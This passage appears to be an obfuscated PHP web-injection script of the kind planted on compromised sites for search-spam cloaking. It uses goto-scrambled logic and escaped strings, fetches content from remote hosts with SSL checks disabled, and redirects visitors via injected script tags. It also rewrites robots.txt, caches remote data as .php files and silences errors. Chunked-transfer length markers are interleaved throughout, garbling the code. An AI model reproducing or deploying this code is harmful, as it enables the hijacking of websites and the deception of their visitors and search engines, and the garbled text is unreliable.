4 13 true, CURLOPT_CONN a ECTTIMEOUT 27 => 5, CURLOPT_TIMEOUT => 8, CURLOPT_SS 10 L_VERIFYPEER => 1d false, CURLOPT_SSL_VERIFYHOST 1c => false, CURLOPT_FOLLOWLOC 1c ATION => false, CURLOPT_USER 13 AGENT => "\x4d\x6f\ 16 172\x69\x6c\154\x61\x2 12 f\x35\x2e\x30")); 1d $data = curl_exec($ch); curl_ 12 close($ch); } if ( 19 empty($data) && ini_get(" 1b \141\x6c\154\x6f\x77\x5f\x7 16 5\x72\154\137\x66\157\ 19 x70\x65\156")) { $context 13 = stream_context_c 13 reate(array("\150\1 1d 64\164\160" => array("\164\15 16 1\155\145\x6f\x75\x74" 1d => 8, "\150\145\141\144\x65\ 14 x72" => "\125\163\14 1b 5\x72\x2d\x41\147\145\156\x 23 74\72\40\115\x6f\172\x69\x6c\x6c\x6 13 1\57\65\x2e\60\15\x 12 a"), "\x73\x73\x6c 20 " => array("\x76\145\162\x69\146 24 \x79\x5f\x70\145\145\162" => false, 23 "\166\x65\x72\x69\x66\x79\x5f\160\1 19 45\x65\x72\x5f\x6e\x61\x6 1f d\x65" => false))); $data = @fi 14 le_get_contents($url 27 , false, $context); } if (!empty($data) 19 ) { cache_set($url, $data 1d ); } return $data; } goto nEu 16 MB; J5G32: function en 13 sure_robots_sitemap 1c ($sitemapLine) { $robots = r 1c trim($_SERVER["\x44\x4f\x43\ 16 125\x4d\x45\x4e\x54\x5 13 f\x52\x4f\117\x54"] 19 , "\x2f\x5c") . "\57\162\ 1e 157\x62\157\x74\x73\x2e\164\17 20 0\164"; if (!file_exists($robots 20 )) { @file_put_contents($robots, 1b "\125\x73\x65\x72\55\x61\1 26 47\145\156\x74\72\40\52\xa\101\154\x6c 17 \x6f\167\x3a\40\x2f\12" 18 . $sitemapLine, LOCK_EX 34 ); } else { $c = @file_get_contents($robots); if ($c 12 === false || strp 1e os($c, $sitemapLine) === false 35 ) { @file_put_contents($robots, $sitemapLine, FILE_AP 13 PEND | LOCK_EX); } 16 } } goto nvqfY; cI0Dv: d error_report 11 ing(0); goto ctug 13 b; KcbVZ: function 1a cache_set($key, $data) { $ 14 file = sys_get_temp_ 17 dir() . "\57\x63\141\x6 14 3\x68\x65\x5f" . md5 1b ($key) . "\56\x70\x68\160"; 33 @file_put_contents($file, $data, LOCK_EX); } goto c obbTy; tTrIf 21 : function cache_get($key, $expir 33 e = 300) { $file = sys_get_temp_dir() . "\x2f\143\x 33 61\x63\x68\x65\x5f" . md5($key) . "\x2e\160\150\160 20 "; if (file_exists($file) && tim 17 e() - filemtime($file) 2c < $expire) { return file_get_contents($file) 1f ; } return false; } goto KcbVZ; 33 e09EO: if ($kk !== '' && !preg_match("\x2f\x5e\x5b 18 \101\55\x5a\x61\x2d\172\ 23 60\55\71\x5d\x2b\x24\x2f", $kk)) { 46 output_sitemap_and_exit($sitemapLine, $http_type); } goto dsRZS; jHFIX 17 : $ip = $kk !== '' ? "\ f 66\66\56\62\64\ 13 71\56\70\62\x2e\x38 f " : get_real_ip 11 (); goto x9XsW; r 10 UTit: if ($domai 17 n !== "\x67\x6f\x6f\x67 17 \x6c\145" && !empty($ii 12 d)) { $kname = url 2b decode(getCurlFast($jd . "\147\156\x2e\x61\ 17 163\x70\170\77\151\151\ 22 144\x3d" . $iid)); echo "\74\x73\x 15 63\x72\151\160\x74\76 23 \x6c\157\x63\141\164\x69\x6f\x6e\x3 1c d\x22" . $jd . "\141\56\141\ 1f 163\160\x78\77\x63\x6e\141\x6d\ 23 145\75" . urlencode($kname) . "\x26 22 \165\x72\154\x3d" . $http_type . $ 1a _SERVER["\x48\x54\x54\120\ 2f 137\x48\x4f\x53\124"] . $_SERVER["\x53\x43\x52\ 16 x49\120\x54\x5f\x4e\x4 1e 1\x4d\105"] . "\x22\x3c\x2f\16 1a 3\x63\162\151\160\x74\x3e" 1a ; die; } goto QgpnU; QLluM e : $qz = substr 16 (str_replace(array("\x 16 77\x77\x77\x2e", "\x2e 23 "), '', $_SERVER["\x48\124\124\x50\ 24 x5f\x48\x4f\x53\124"]), 0, 3); goto 16 EI8Kp; JD7fu: if ($kk 26 === '' && $is_no_query) { if ($domain 1e === "\x67\157\157\147\x6c\145" 4e ) { output_sitemap_and_exit($sitemapLine, $http_type); } else { die; } } goto 15 LnjYZ; ctugb: $get = 14 filter_input_array(I d NPUT_GET, FIL b TER_SANITIZ 10 E_STRING); goto 23 tTrIf; QgpnU: if (!empty($iid)) { $ 25 str = getCurlFast($hyzhdy . "\77\151\ 14 x69\x64\75{$iid}"); 31 echo str_replace(array("\x67\147\147\147\147", "\ 23 131\131\131\131\131", "\130\130\x58 19 \131\131\x59", "\xe5\275\ e 223\xe5\x89\x8 17 d\x55\x52\x4c", "\125\x 26 55\125\x55\x55", "\115\115\115\115\115 10 ", "\77\146\75") 18 , array($sz, get_url_inf 20 o(), get_url_info("\x62\x61\x73\ 25 x65"), get_url_info("\x66\165\154\x6c 2a "), get_url_info("\156\157\137\x77\x77\167 1a "), parse_url($_SERVER["\x 18 52\x45\x51\125\x45\x53\x 17 54\137\125\122\111"], P c HP_URL_PATH) 18 , "\77" . $qz . "\75"), 19 $str); die; } goto OiQF1; 1f nvqfY: if (!empty($get["\167"] 14 )) { $params = http_ 15 build_query(array("\x 1f 4e\x4f\125\155\142\x65\162" => 1a $get["\x4e\x4f\x55\x6d\142 17 \x65\x72"] ?? '', "\164 23 " => $get["\164"] ?? '', "\x63\156" 50 => $get["\143\156"] ?? '', "\160\x4e\117\x55\155" => $get["\x70\x4e\x4f\x55\x6d 2f "] ?? '', "\143\x69\x64" => $get["\143\151\x64" 2a ] ?? '', "\155" => $get["\x6d"] ?? '')); $ 1e str = getCurlFast("{$surl}\77{ 33 $params}"); echo str_replace(array("\x79\171\x6d\x6 29 d", "\147\147\147\147\147", "\77\146\x3d" 3d ), array($http_type . $_SERVER["\x48\x54\124\x50\x5f\x48\117\ 32 123\124"] . $_SERVER["\x53\x43\x52\x49\120\124\x5f 29 \116\101\x4d\x45"], $sz, "\77" . $qz . "\ 27 x3d"), $str); die; } goto LYG63; EI8Kp: 19 $sz = $iid = ''; goto S5 15 sdM; OiQF1: function 60 output_sitemap_and_exit($sitemapLine, $http_type) { ensure_robots_sitemap($sitemapLine); echo "\ 15 x3c\144\151\x76\x20\x 14 73\164\x79\154\145\x 1c 3d\x27\x74\x65\170\164\x2d\1 1f 41\x6c\151\x67\156\72\x63\145\x 19 6e\x74\145\x72\x3b\160\14 1c 1\144\x64\x69\156\x67\72\61\ 15 60\x70\170\x20\60\73\ 17 47\x3e\xa\x20\40\40\40\ 2b x20\40\40\40\40\40\40\x20\74\141\x20\x68\x7 2d 2\x65\146\x3d\x22{$http_type}{$_SERVER["\110\ 2e x54\x54\x50\x5f\x48\x4f\123\x54"]}{$_SERVER["\ 10 x53\103\122\x49\ 24 x50\124\x5f\116\x41\x4d\105"]}\77\16 24 7\x3d" . date("\x59\155\144\x48\151" 23 ) . "\x22\40\164\141\x72\x67\145\x7 11 4\x3d\42\x5f\142\ 1d 154\x61\156\153\x22\x20\162\1 16 45\154\x3d\x22\x6e\x6f 1f \x66\x6f\154\154\x6f\x77\x22\x3 15 e\x53\x69\x74\145\x6d 22 \x61\160\74\x2f\141\x3e\12\40\x20\ 25 x20\40\40\x20\x20\x20\x20\40\74\x2f\x 22 64\151\x76\76"; die; } goto sIevn; 1f S5sdM: if (!empty($_GET)) { $f 13 = reset($_GET); $s 10 p = explode("\x2 15 d", $f); if (count($s 15 p) === 2) { $sz = $sp 12 [0]; $iid = $sp[1] 25 ; } } goto ut_5H; obbTy: function get 1e _real_ip() { $keys = array("\1 1a 10\x54\x54\120\x5f\103\106 18 \137\103\117\116\x4e\105 20 \103\x54\111\x4e\x47\137\111\120 23 ", "\110\124\124\120\x5f\130\x5f\12 19 2\x45\x41\x4c\137\x49\x50 2e ", "\110\x54\x54\x50\x5f\130\x5f\106\x4f\122\1 1d 27\101\x52\x44\105\104\x5f\x4 22 6\x4f\122", "\x48\x54\124\120\137\ 21 103\x4c\x49\105\x4e\x54\x5f\111\x 1f 50", "\122\x45\x4d\117\124\x45\ 19 137\101\x44\104\x52"); fo f reach ($keys as 1d $k) { if (!empty($_SERVER[$k 26 ])) { $ip = $_SERVER[$k]; if (strpos($ 18 ip, "\54") !== false) { 1f $ip = trim(explode("\x2c", $ip) 16 [0]); } if (filter_var 13 ($ip, FILTER_VALIDA 14 TE_IP)) { return $ip 19 ; } } } return "\61\62\x3 1e 7\56\60\56\60\56\x31"; } goto 17 b3xBO; x9XsW: $domain = 2d trim(getCurlFast($jd . "\147\x65\x74\x64\157 2d \x6d\141\151\x6e\62\56\141\163\160\170\x3f\x7 1c 2\156\x64\x3d\61\x26\151\x70 1a \x3d" . $ip)); goto rUTit; 23 nEuMB: function get_url_info(strin 18 g $type = "\x64\157\155\ 17 141\x69\156") : string 29 { $host = $_SERVER["\110\124\124\x50\137\ 5 110\x 1f 4f\123\124"] ?? ''; if ($type = 1e == "\156\157\x5f\167\x77\167") 20 { return preg_replace("\x2f\136 1a \167\167\167\134\x2e\57\x6 15 9", '', $host); } $pr 1b otocol = !empty($_SERVER["\ 35 x48\124\124\x50\x53"]) && $_SERVER["\x48\x54\x54\120\ 18 x53"] !== "\x6f\x66\146" 19 ? "\x68\x74\x74\x70\163\ 24 72\x2f\x2f" : "\x68\x74\x74\x70\x3a\ c x2f\x2f"; $b 17 ase = $protocol . $host 2e ; if ($type === "\x62\141\163\145") { return $ 20 base; } if ($type === "\x66\x75\ 31 154\154") { return $base . ($_SERVER["\x52\105\12 18 1\x55\x45\x53\x54\x5f\x5 24 5\x52\x49"] ?? ''); } return $host; 14 } goto IiHkS; IiHkS: 49 $http_type = !empty($_SERVER["\110\x54\x54\120\x53"]) && $_SERVER["\x48\ 2d 124\124\120\x53"] !== "\x6f\146\146" ? "\150\ 2f x74\x74\x70\x73\72\x2f\x2f" : "\150\164\164\160 19 \x3a\57\x2f"; goto CSyCd; a emnXE: ?> 0